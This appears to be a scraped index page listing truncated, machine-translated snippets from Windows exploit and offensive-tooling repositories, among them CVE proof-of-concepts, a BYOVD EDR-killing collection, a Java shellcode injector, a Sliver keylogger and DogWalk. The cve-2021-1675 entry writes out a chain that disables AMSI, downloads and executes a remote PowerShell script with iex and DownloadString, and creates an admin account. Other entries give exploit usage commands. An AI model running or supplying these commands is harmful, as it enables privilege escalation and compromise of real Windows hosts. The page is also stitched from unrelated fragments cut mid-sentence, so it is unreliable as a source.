CVE-2026-50416-writeup-and-poc

CVE-2026-50416：桌面堆中多出的一个 QWORD 在 Windows 11 Insider 版本 10.0.28020.2149 上，Win32k 桌面堆的用户模式映射在偏移量 0x100 处暴露了一个原始的内核会话池指针。 这次读取本身小得几乎有些可笑： root@kitploit: ULONG64 leaked = ULONG64 desktopheap + 0x100; 在我的测试会话中，该读取返回： root@kitploit: 0xffffc600dcc00040...

CVE-2025-11001

用法： root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe 利用 7-zip 该漏洞仅在 windows 上可利用，且有一个主要限制。只有当 7-Zip 以管理员权限运行时才能成功利用此漏洞，因为 7-zip 进程会创建一个符号链接，这在 windows 上是一项需要特权的操作。 因此，只有当 7-Zip 由服务账户使用时，利用才具有意义。...

CLSIDFinder

CLSIDFinder Invoke-CLSIDFinder 从 Windows 注册表中枚举 CLSID 和 AppID 条目，以识别通过 LocalService 值与 Windows 服务关联的 COM 对象。 该函数关联这些条目，将结果导出到 CSV 文件，并在相关服务运行时尝试 COM 激活。它主要用于帮助在中继攻击和其他 LPE 场景中识别可用的 CLSID。 使用方法 root@kitploit: PS C:\Users\Administrator\Desktop Import-Module .\CLSIDFinder.ps1 PS...

ShieldBreak

ShieldBreak - Vulnerabilidad 0day de Windows Defender Microsoft no ha parcheado correctamente la vulnerabilidad RoguePlanet CVE-2026-50656; este PoC demuestra un bypass completo del parche. El PoC se probó en la última versión de windows 11 25h2 canal Canary y windows server 2025; el PoC también...

archiver-MOTW-support-comparison

适用于 Windows 的压缩软件对 MOTW（Mark of the Web）传播支持的对比 英语 | 日语 背景 2022 年 3 月 3 日，微软宣布将更改 Windows 上 Office 应用程序的默认行为，以阻止来自互联网的文件（例如电子邮件附件）中的宏。 公告摘录： VBA 宏是恶意行为者获取访问权限以部署恶意软件和勒索软件的常见方式。因此，为提高 Office 的安全性，我们将更改 Office 应用程序的默认行为，以阻止来自互联网的文件中的宏。 ... 此更改仅影响运行 Windows 的设备上的...

showstopper

ShowStopper - 反调试技巧探索工具 贡献者 Check Point 软件技术有限公司 编程者 Yaraslau Harakhavik 概述 ShowStopper 项目是一个工具，旨在帮助恶意软件研究人员探索和测试反调试技术，或验证调试器插件及其他与标准反调试方法冲突的解决方案。 使用此工具，你可以将调试器附加到其进程，研究所需技术的调试器行为（打印到控制台的应用反调试技术的函数虚拟地址），并将其与实现进行比较。该工具包含来自多种来源的多种不同技术，包括真实恶意软件、已发布的文档和文章。实现的技术适用于最新的 Windows 版本和不同的现代调试器。 文档...

Windows-Defender-Security-Auditor-CVE-2026-50656-

Windows Defender Security Auditor Herramienta de evaluación de postura de seguridad de Windows y caza de amenazas de nivel empresarial Desarrollada porAmish Kumar — Investigador de Seguridad / Ingeniero de Seguridad CVE-2026-50656 Descripción general Windows Defender Security Auditor es una...

BYOVD

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions. The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules. Since its initial discovery, the TfSysM...

CVE-2022-30190

CVE-2022-30190 2022年5月30日星期一，微软发布了关于Windows中微软支持诊断工具（MSDT）漏洞的CVE-2022-30190。 当通过URL协议从Word等调用应用程序调用MSDT时，存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以以调用应用程序的权限运行任意代码。攻击者随后可以在用户权限允许的上下文中安装程序、查看、更改或删除数据，或创建新帐户。 https://nvd.nist.gov/vuln/detail/CVE-2022-30190 有关使用Microsoft Sentinel进行威胁狩猎和告警的更多信息，请访问sentinel目录。 概念验证...

BadBlue

BadBlue Windows CVE-2024-21306 BadBlue 实现（使用 DuckyScript） 未经身份验证的对等连接导致代码执行（使用 HID 键盘） 这是由 marcnewlin 发现的 CVE 的实现 以及来自 BlueDucky 的一些代码 介绍 BadBlue 是一个强大的工具，用于利用蓝牙设备中的漏洞。通过运行此脚本，您可以： 1. 加载已保存的、不再可见但蓝牙仍开启的蓝牙设备。 2. 自动保存您扫描到的任何设备。 3. 通过 DuckyScript 格式发送载荷以与设备交互。 我已在任何 Raspberry Pi 4 和 VirtualBox...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Vulnerabilidad de escalada de privilegios local por movimiento arbitrario de archivos en el seguimiento de servicios de Microsoft Windows Para más información: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

此存储库没有 README。...

CVE-2018-8410

CVE-2018-8410 Windows内核注册表权限提升漏洞的PoC...

cve-2021-1675

cve-2021-1675 AMSIを無効にする: PowerShellにコピー https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt invoke-script を実行 iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 管理者アカウントを作成 Invoke-Nightmare...

printDemon2system

printDemon2system CVE-2020-1048 Escalada de privilegios de PrintDemon a SYSTEM PrintDemon era una vulnerabilidad lógica en el servicio Windows Print Spooler spoolsv.exe. La vulnerabilidad residía en la forma en que el spooler manejaba los trabajos de impresión a archivos y, al ser explotada,...

Java-Shellcode-Loader

Java ShellCode Loader 基于Java实现的ShellCode加载器，兼容32位及64位平台。 核心原理是利用Jna来调用Windows API，实现shellcode的注入。 运行环境：Jre = 1.5 注：本项目已经内置在yzddmr6/As-Exploits的ShellCodeLoader模块中。 编译 maven package 使用 默认会随机注入32位进程，请使用32位的shellcode root@kitploit: java -jar ShellcodeLoader.jar shellcodehex 注入x64位shellcode...

Nim_DInvoke

Nim DInvoke Nim 中的 D/Invoke 实现 所有 Nim 二进制文件通常都会暴露相同的 58-60 个 Windows API 函数： 所有其他 Windows API 函数通常会在运行时通过 GetProcAddress 和 LoadLibraryA 解析，如 OffensiveNim 或 这篇博客文章 中所述。 因此，在 Nim 中通过 DInvoke（完全）隐藏 API 导入是不可能的，除非有人例如使用这个 DInvoke 实现来修改 Nim 编译器，使其使用 DInvoke 而不是 Dynlib。 相对于使用 GetProcAddress 和...

SharpWnfSuite

SharpWnfSuite 这是 Windows 通知设施（WNF）工具的仓库。 目前，已上传了 Alex Ionescu（@aionescu）和 Gabrielle Viala（@pwissenlit）所开发的 wnfun 中工具的 C 移植版本。 当我为 Windows 通知设施开发更多工具时，它们将被上传到这里。 目录 SharpWnfSuite 用法 SharpWnfDump SharpWnfNameDumper SharpWnfClient SharpWnfServer SharpWnfScan SharpWnfInject KernelPrimitive...

DogWalk-rce-poc

Dogwalk Proof-of-Concept🐾 root@kitploit: 🚨 Disclaimer 🚨 The PoC allows an attacker to obtain on a Windows victim device. The goal of this repo is to make a PoC even more usable than the a href= repo. DO NOT USE IT WITHOUT PRIOR AUTHORIZATION!...

SliverKeylogger

Sliver Keylogger 这个 Sliver 扩展的编写主要是一次学习练习，用以了解 Sliver 如何处理扩展。 我要感谢整个 Sliver 团队在这个公开植入框架上所做的工作。 特别感谢 @rkervell 回答了许多我关于 Sliver 如何处理其扩展的问题。 工作原理 基本上，它使用原始输入。这相对于其他常见的键盘记录方法既有利也有弊。 我喜欢它的原因在于，它不需要注入到其他二进制文件中，也不需要频繁轮询某个调用而可能错过结果。 这段代码一部分是我自己的作品，一部分是互联网上找到的各种示例的整合。 如何构建 使用 Visual Studio 2019 打开解决方案文件，并...